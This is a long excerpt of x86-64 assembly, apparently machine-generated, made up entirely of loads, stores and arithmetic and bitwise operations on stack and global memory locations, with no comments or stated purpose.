mov rax, qword [rsp + 0x97f0]
mov ecx, dword [rsp + 0x4f44]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4eac], eax
movzx eax, byte [rsp + 0x21b]
mov byte [rsp + 0x267], al
mov rax, qword [rsp + 0x9900]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa0e0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc053], al
movzx eax, word [rsp + 0x1574]
mov rcx, qword [rsp + 0x9a68]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x159c], ax
mov rax, qword [rsp + 0x91c0]
movsx eax, word [rax]
mov rcx, qword [0x1401cd980]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14d8], ax
lea rax, [rsp + 0x1528]
mov qword [rsp + 0xa160], rax
mov rax, qword [rsp + 0x9820]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ad0]
mov qword [rsp + 0xa168], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa168]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9650], rax
mov rax, qword [rsp + 0x8d08]
mov eax, dword [rax]
mov dword [rsp + 0x5078], eax
mov rax, qword [rsp + 0x9370]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ca0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa010], rax
mov rax, qword [rsp + 0x9df0]
mov ecx, dword [rsp + 0x5018]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9b28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x92e8]
movzx eax, word [rax]
mov word [rsp + 0x1700], ax
mov rax, qword [0x1401cd8a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x25f]
sar eax, cl
mov byte [0x1401cc036], al
mov rax, qword [rsp + 0x9050]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1e9]
and eax, ecx
mov byte [rsp + 0x214], al
lea rax, [rsp + 0x216]
mov qword [rsp + 0xa170], rax
movsx eax, word [rsp + 0x16a8]
movsx ecx, word [rsp + 0x1570]
add eax, ecx
mov word [rsp + 0x1618], ax
movzx eax, word [rsp + 0x151c]
movzx ecx, word [rsp + 0x15d4]
add eax, ecx
mov word [rsp + 0x1678], ax
mov rax, qword [rsp + 0x9020]
mov rax, qword [rax]
mov qword [rsp + 0xa178], rax
mov rax, qword [rsp + 0x9c30]
mov rcx, qword [rsp + 0x8d40]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9de8]
mov qword [rcx], rax
lea rax, [rsp + 0x4eec]
mov qword [rsp + 0xa180], rax
mov rax, qword [rsp + 0x90d0]
mov rcx, qword [rsp + 0x95e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8f18]
mov dword [rcx], eax
movsx eax, word [rsp + 0x16a0]
mov rcx, qword [rsp + 0x9098]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc0b4], ax
movsx eax, byte [rsp + 0x24b]
movsx ecx, byte [rsp + 0x20a]
and eax, ecx
mov byte [rsp + 0x1de], al
movzx eax, byte [rsp + 0x22c]
mov byte [rsp + 0x268], al
movsx eax, word [rsp + 0x15ec]
mov rcx, qword [rsp + 0xa0e8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x91c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9138]
movzx eax, byte [rax]
mov byte [rsp + 0x269], al
mov rax, qword [rsp + 0x9b00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f90]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x98e0], rax
lea rax, [rsp + 0x4f2c]
mov qword [rsp + 0xa188], rax
mov rax, qword [rsp + 0x9520]
mov rcx, qword [rsp + 0x9b50]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9990]
mov qword [rcx], rax
mov rax, qword [rsp + 0x95e8]
mov eax, dword [rax]
mov ecx, dword [0x1401cd720]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9890]
mov dword [rcx], eax
mov rax, qword [rsp + 0x91d8]
movzx eax, byte [rax]
mov byte [0x1401cd7dd], al
lea rax, [rsp + 0x21a]
mov qword [rsp + 0xa190], rax
movsx eax, word [rsp + 0x14d0]
mov rcx, qword [0x1401cd998]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9ad8]
mov word [rcx], ax
mov rax, qword [rsp + 0x91c8]
movzx eax, word [rax]
mov word [rsp + 0x1704], ax
mov rax, qword [rsp + 0x96b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x232]
or eax, ecx
mov rcx, qword [rsp + 0x90e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x96c8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9a58]
shl rax, cl
mov rcx, qword [rsp + 0x9570]
mov qword [rcx], rax
lea rax, [rsp + 0x4fb0]
mov qword [rsp + 0xa198], rax
mov rax, qword [rsp + 0x9cd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f78]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x91f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9fe8]
mov qword [rsp + 0xa1a0], rax
mov rax, qword [0x1401cd7b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1548]
imul eax, ecx
mov rcx, qword [0x1401cd768]
mov word [rcx], ax
movzx eax, word [rsp + 0x16fc]
movzx ecx, word [rsp + 0xf18]
add eax, ecx
mov word [rsp + 0x1540], ax
mov rax, qword [rsp + 0x9ab8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x25d]
sub eax, ecx
mov byte [rsp + 0x265], al
mov rax, qword [rsp + 0xa018]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x264]
add eax, ecx
mov byte [rsp + 0x73], al
mov rax, qword [rsp + 0x8f08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16dc]
sub eax, ecx
mov rcx, qword [rsp + 0x9e70]
mov word [rcx], ax
lea rax, [rsp + 0x4ec0]
mov qword [rsp + 0xa1a8], rax
mov rax, qword [rsp + 0x9f70]
mov rcx, qword [rsp + 0x91a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d40]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4ca4]
mov dword [rsp + 0x507c], eax
mov rax, qword [rsp + 0x9f10]
mov rcx, qword [rsp + 0x9570]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9d90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1eb]
and eax, ecx
mov byte [0x1401cc00c], al
movsx eax, byte [rsp + 0x21a]
mov rcx, qword [rsp + 0x9ee8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x20b], al
mov rax, qword [rsp + 0xa0e8]
movzx eax, word [rax]
mov word [rsp + 0x1708], ax
mov rax, qword [rsp + 0x9070]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8fc8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9038]
mov word [rcx], ax
movzx eax, byte [rsp + 0x20e]
mov byte [rsp + 0x26a], al
mov rax, qword [rsp + 0x9b40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8a10]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9dc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9490]
mov rcx, qword [rsp + 0x8f90]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x96f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9270]
mov eax, dword [rax]
mov dword [rsp + 0x5080], eax
mov rax, qword [rsp + 0x9f00]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4e48]
shl eax, cl
mov dword [rsp + 0x507c], eax
movzx eax, word [rsp + 0x1604]
mov rcx, qword [rsp + 0x9e70]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc0b8], ax
lea rax, [rsp + 0x234]
mov qword [rsp + 0xa1b0], rax
movzx eax, byte [rsp + 0xd6]
movzx ecx, byte [rsp + 0x215]
and eax, ecx
mov byte [rsp + 0x253], al
mov rax, qword [rsp + 0x9508]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9bb0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x217], al
mov rax, qword [0x1401cd838]
movzx eax, word [rax]
mov word [rsp + 0x170c], ax
mov rax, qword [rsp + 0x9120]
mov rcx, qword [rsp + 0xa0b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9ac0]
mov rax, qword [rax]
mov qword [rsp + 0xa1b8], rax
mov eax, dword [rsp + 0x5068]
mov ecx, dword [rsp + 0x4fe4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5060], eax
mov rax, qword [rsp + 0x9b00]
mov rcx, qword [rsp + 0x8fd0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x91e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9028]
movsx eax, word [rax]
mov rcx, qword [0x1401cd940]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401cd834], ax
mov rax, qword [rsp + 0x95d8]
movzx eax, byte [rax]
mov byte [rsp + 0x26b], al
movsx eax, word [rsp + 0x14c8]
mov rcx, qword [rsp + 0x9f98]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9028]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1dd]
mov byte [rsp + 0x26c], al
mov rax, qword [0x1401cd880]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1660]
add eax, ecx
mov rcx, qword [rsp + 0x97a0]
mov word [rcx], ax
lea rax, [rsp + 0x5014]
mov qword [rsp + 0xa1c0], rax
mov rax, qword [rsp + 0x9820]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9aa0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9e18], rax
mov rax, qword [rsp + 0x97c0]
mov rcx, qword [rsp + 0xa118]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8dd8], rax
mov rax, qword [rsp + 0x8f60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e60]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x47c4], eax
movzx eax, word [0x1401cc068]
mov rcx, qword [rsp + 0x9708]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401cc0bc], ax
movzx eax, byte [rsp + 0x205]
mov rcx, qword [rsp + 0x9608]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x92a0]
mov byte [rcx], al
lea rax, [rsp + 0x22b]
mov qword [rsp + 0xa1c8], rax
movsx eax, word [rsp + 0x150c]
mov rcx, qword [rsp + 0x9a20]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9ad8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9f20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1694]
sub eax, ecx
mov word [rsp + 0x15bc], ax
mov eax, dword [rsp + 0x4fc0]
mov dword [rsp + 0x5084], eax
mov eax, dword [rsp + 0x4fa0]
mov ecx, dword [rsp + 0x4a7c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e70]
mov qword [rsp + 0xa1d0], rax
mov rax, qword [rsp + 0x9150]
mov rcx, qword [rsp + 0x9788]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9600]
mov qword [rcx], rax
mov rax, qword [0x1401cd9b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1e4]
add eax, ecx
mov rcx, qword [rsp + 0x92a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x8de8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc0b4], ax
mov rax, qword [rsp + 0x90b8]
movzx eax, word [rax]
mov word [rsp + 0x1710], ax
mov rax, qword [rsp + 0x9058]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x228]
add eax, ecx
mov byte [rsp + 0x245], al
lea rax, [rsp + 0x235]
mov qword [rsp + 0xa1d8], rax
mov rax, qword [rsp + 0x9658]
mov rcx, qword [rsp + 0x9a70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9800]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f38]
mov rcx, qword [rsp + 0x8f98]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa070], rax
lea rax, [rsp + 0x4e50]
mov qword [rsp + 0xa1e0], rax
mov rax, qword [rsp + 0x9d40]
mov rcx, qword [rsp + 0x9350]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x98e0], rax
lea rax, [rsp + 0x16e8]
mov qword [rsp + 0xa1e8], rax
lea rax, [rsp + 0x167c]
mov qword [0x1401cd9d0], rax
movzx eax, byte [rsp + 0x24e]
mov rcx, qword [rsp + 0x9ca0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9430]
mov byte [rcx], al
lea rax, [0x1401cc090]
mov qword [rsp + 0xa1f0], rax
mov rax, qword [rsp + 0x95d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1f3]
sar eax, cl
mov byte [rsp + 0x247], al
mov eax, dword [rsp + 0x5060]
mov rcx, qword [rsp + 0x9658]
mov qword [rsp + 0xa1f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa1f8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x8ff0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9988]
mov eax, dword [rax]
mov dword [rsp + 0x5088], eax
mov rax, qword [rsp + 0x9350]
mov rcx, qword [rsp + 0x9c98]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x8fe0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa140]
mov qword [rsp + 0xa200], rax
mov rax, qword [0x1401cd938]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x200]
xor eax, ecx
mov rcx, qword [rsp + 0x9160]
mov byte [rcx], al
movsx eax, byte [rsp + 0x220]
movsx ecx, byte [rsp + 0x234]
and eax, ecx
mov byte [0x1401cd726], al
movsx eax, word [rsp + 0x10f8]
movsx ecx, word [0x1401cd788]
sub eax, ecx
mov word [rsp + 0x15dc], ax
lea rax, [rsp + 0x1550]
mov qword [rsp + 0xa208], rax
movsx eax, word [rsp + 0x1564]
movsx ecx, word [rsp + 0x15d0]
add eax, ecx
mov rcx, qword [rsp + 0x92c8]
mov word [rcx], ax
lea rax, [rsp + 0x9e18]
mov qword [rsp + 0xa210], rax
mov rax, qword [rsp + 0x9f78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9888]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b68], rax
mov rax, qword [rsp + 0x9598]
mov rcx, qword [rsp + 0x9f18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8df8]
mov dword [rcx], eax
lea rax, [rsp + 0x4fe8]
mov qword [rsp + 0xa218], rax
movsx eax, word [0x1401cc05c]
mov rcx, qword [rsp + 0x9ff0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x158c], ax
movsx eax, byte [rsp + 0x240]
mov rcx, qword [rsp + 0x9ba8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc056], al
lea rax, [rsp + 0x24e]
mov qword [rsp + 0xa220], rax
movzx eax, word [rsp + 0x157c]
movzx ecx, word [rsp + 0x100c]
add eax, ecx
mov word [rsp + 0x1584], ax
mov rax, qword [rsp + 0x9858]
movzx eax, byte [rax]
mov byte [rsp + 0x26d], al
movzx eax, byte [rsp + 0x1e2]
mov rcx, qword [rsp + 0x9848]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x96e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9048]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4e38]
shl eax, cl
mov rcx, qword [rsp + 0x9518]
mov dword [rcx], eax
mov rax, qword [rsp + 0x92d0]
mov qword [rsp + 0xa228], rax
mov eax, dword [0x1401cd720]
movzx ecx, al
mov eax, dword [rsp + 0x4e78]
shr eax, cl
mov rcx, qword [rsp + 0x9868]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9390]
mov rax, qword [rax]
mov qword [rsp + 0xa230], rax
movsx eax, byte [rsp + 0x202]
mov rcx, qword [rsp + 0x9ba8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x1401cd908]
mov byte [rcx], al
mov rax, qword [rsp + 0x9980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9828]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x16c4], ax
mov rax, qword [rsp + 0x9708]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9448]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x16e8], ax
movsx eax, byte [rsp + 0x269]
mov rcx, qword [0x1401cd758]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x9b], al
mov rax, qword [rsp + 0x9740]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1684]
sub eax, ecx
mov rcx, qword [rsp + 0x9740]
mov word [rcx], ax
mov rax, qword [rsp + 0x93c8]
mov eax, dword [rax]
mov dword [rsp + 0x508c], eax
mov rax, qword [rsp + 0x9308]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4c88]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x94d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8fe0]
mov rcx, qword [rsp + 0x8c98]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9c30]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9420]
mov rax, qword [rax]
mov qword [rsp + 0xa238], rax
lea rax, [rsp + 0x10f8]
mov qword [0x1401cd9d8], rax
movzx eax, byte [0x1401cd78e]
mov rcx, qword [rsp + 0x9920]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x22e], al
lea rax, [rsp + 0x1a3]
mov qword [rsp + 0xa240], rax
movzx eax, byte [rsp + 0x260]
mov rcx, qword [rsp + 0x9088]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1fa], al
movsx eax, word [rsp + 0x1504]
movsx ecx, word [rsp + 0x16b0]
sub eax, ecx
mov rcx, qword [rsp + 0xa0e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9e08]
mov eax, dword [rax]
mov dword [rsp + 0x5090], eax
mov rax, qword [rsp + 0x9ce8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f24]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ee8]
mov dword [rcx], eax
lea rax, [rsp + 0xa118]
mov qword [rsp + 0xa248], rax
mov rax, qword [rsp + 0x9b90]
mov rcx, qword [rsp + 0x9650]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9068], rax
movsx eax, word [rsp + 0xee8]
movsx ecx, word [0x1401cd988]
or eax, ecx
mov word [0x1401cd714], ax
mov rax, qword [rsp + 0x9e10]
movzx eax, byte [rax]
mov byte [rsp + 0x26e], al
mov rax, qword [rsp + 0x96b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x253]
sar eax, cl
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
mov rax, qword [rsp + 0x9568]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9b58]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x92e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9da8]
movzx eax, word [rax]
mov word [rsp + 0x1714], ax
mov eax, dword [rsp + 0x4da0]
mov ecx, dword [rsp + 0x4e38]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9558]
mov dword [rcx], eax
lea rax, [rsp + 0x4f30]
mov qword [rsp + 0xa250], rax
mov rax, qword [rsp + 0x9808]
mov rcx, qword [rsp + 0x97b0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9e90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9078]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ff8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f28], rax
lea rax, [rsp + 0x16d8]
mov qword [0x1401cd9e0], rax
lea rax, [0x1401cc078]
mov qword [rsp + 0xa258], rax
mov rax, qword [rsp + 0x9218]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9c58]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x230], al
mov rax, qword [rsp + 0x99f0]
movzx eax, byte [rax]
mov byte [rsp + 0x26f], al
movsx eax, word [rsp + 0x1630]
mov rcx, qword [rsp + 0x9730]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x160c], ax
mov rax, qword [rsp + 0x9eb8]
mov ecx, dword [rsp + 0x4f38]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9720]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa188]
mov eax, dword [rax]
mov dword [rsp + 0x5094], eax
mov rax, qword [rsp + 0x9288]
mov rcx, qword [rsp + 0x9668]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9a38]
mov qword [rcx], rax
lea rax, [rsp + 0x9f80]
mov qword [rsp + 0xa260], rax
movsx eax, byte [rsp + 0xca]
movsx ecx, byte [rsp + 0x9a]
and eax, ecx
mov rcx, qword [0x1401cd908]
mov byte [rcx], al
movzx eax, byte [rsp + 0x24f]
mov rcx, qword [rsp + 0x8d48]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x93e8]
mov byte [rcx], al
lea rax, [rsp + 0x1550]
mov qword [rsp + 0xa268], rax
movzx eax, word [rsp + 0x1688]
mov rcx, qword [rsp + 0x9568]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9070]
mov word [rcx], ax
mov rax, qword [0x1401cd900]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x20e]
add eax, ecx
mov rcx, qword [rsp + 0x93b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9a38]
mov rax, qword [rax]
mov qword [rsp + 0xa270], rax
mov rax, qword [rsp + 0x9a60]
mov rcx, qword [rsp + 0x9660]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9200], rax
lea rax, [rsp + 0x4fd0]
mov qword [rsp + 0xa278], rax
mov rax, qword [rsp + 0x9e80]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9400]
mov qword [rsp + 0xa280], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa280]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x502c], eax
mov rax, qword [rsp + 0x92b8]
movzx eax, word [rax]
mov word [0x1401cd9e8], ax
movsx eax, byte [rsp + 0x20f]
movsx ecx, byte [rsp + 0x255]
sar eax, cl
mov rcx, qword [rsp + 0x96b8]
mov byte [rcx], al
movzx eax, word [rsp + 0x15b4]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1348], ax
mov rax, qword [rsp + 0x9828]
movsx eax, word [rax]
movsx ecx, word [0x1401cc034]
and eax, ecx
mov word [rsp + 0x154c], ax
mov rax, qword [rsp + 0x9f48]
movzx eax, byte [rax]
mov byte [rsp + 0x270], al
mov rax, qword [rsp + 0x9390]
mov rcx, qword [rsp + 0x9d08]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8ef0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4f38]
mov ecx, dword [rsp + 0x5024]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f1c], eax
lea rax, [rsp + 0x4748]
mov qword [rsp + 0xa288], rax
mov rax, qword [rsp + 0x9418]
mov rcx, qword [rsp + 0x9040]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9728], rax
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9710]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc057], al
lea rax, [rsp + 0x1fa]
mov qword [rsp + 0xa290], rax
movzx eax, word [rsp + 0x15c8]
mov rcx, qword [rsp + 0x9a18]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa1f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9cd8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15d8]
sub eax, ecx
mov word [rsp + 0x1680], ax
lea rax, [rsp + 0x1f4]
mov qword [rsp + 0xa298], rax
mov eax, dword [rsp + 0x4fb4]
mov ecx, dword [rsp + 0x4ed0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa1e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa0f0]
mov eax, dword [rax]
mov dword [rsp + 0x5098], eax
mov rax, qword [rsp + 0x97b0]
mov rcx, qword [rsp + 0xa010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8540], rax
mov rax, qword [rsp + 0x9220]
mov qword [rsp + 0xa2a0], rax
movzx eax, byte [rsp + 0x215]
movzx ecx, byte [rsp + 0x1e0]
or eax, ecx
mov byte [rsp + 0x253], al
movzx eax, word [rsp + 0x15f8]
mov rcx, qword [rsp + 0x9080]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1401cd8f0]
mov word [rcx], ax
movsx eax, word [rsp + 0x1578]
mov rcx, qword [0x1401cd768]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1504], ax
movzx eax, byte [rsp + 0x25b]
mov byte [rsp + 0x271], al
mov rax, qword [rsp + 0x8ed8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9070]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9448]
mov word [rcx], ax
mov eax, dword [rsp + 0x4e70]
mov dword [rsp + 0x509c], eax
mov rax, qword [rsp + 0x9b40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x92f8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9168]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9490]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9d88]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9f80], rax
lea rax, [rsp + 0x4e50]
mov qword [rsp + 0xa2a8], rax
movsx eax, byte [0x1401cc03b]
mov rcx, qword [rsp + 0x9d10]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8fa8]
mov byte [rcx], al
movsx eax, word [rsp + 0x14dc]
mov rcx, qword [rsp + 0xa0e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc0c0], ax
lea rax, [rsp + 0xf18]
mov qword [rsp + 0xa2b0], rax
movsx eax, word [rsp + 0x162c]
mov rcx, qword [rsp + 0x9748]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9be8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x26a]
movzx ecx, byte [rsp + 0x261]
add eax, ecx
mov rcx, qword [rsp + 0x9c90]
mov byte [rcx], al
mov eax, dword [0x1401cd720]
mov dword [rsp + 0x50a0], eax
mov rax, qword [rsp + 0x9150]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9090]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9110], rax
lea rax, [rsp + 0x5004]
mov qword [rsp + 0xa2b8], rax
mov rax, qword [rsp + 0x96c8]
mov rcx, qword [rsp + 0x9420]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9978]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa120]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa060]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9998]
mov byte [rcx], al
movsx eax, word [rsp + 0x1658]
movsx ecx, word [rsp + 0x16a0]
and eax, ecx
mov rcx, qword [0x1401cd9e0]
mov word [rcx], ax
mov rax, qword [0x1401cd978]
movzx eax, byte [rax]
mov byte [rsp + 0x272], al
movzx eax, byte [rsp + 0xb1]
mov rcx, qword [rsp + 0x92a0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa120]
mov byte [rcx], al
lea rax, [rsp + 0x151c]
mov qword [rsp + 0xa2c0], rax
mov rax, qword [rsp + 0x98f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x500c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa1e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa228]
mov qword [rsp + 0xa2c8], rax
mov rax, qword [rsp + 0x9048]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4f2c]
sar eax, cl
mov rcx, qword [rsp + 0x9f00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9cb0]
mov rax, qword [rax]
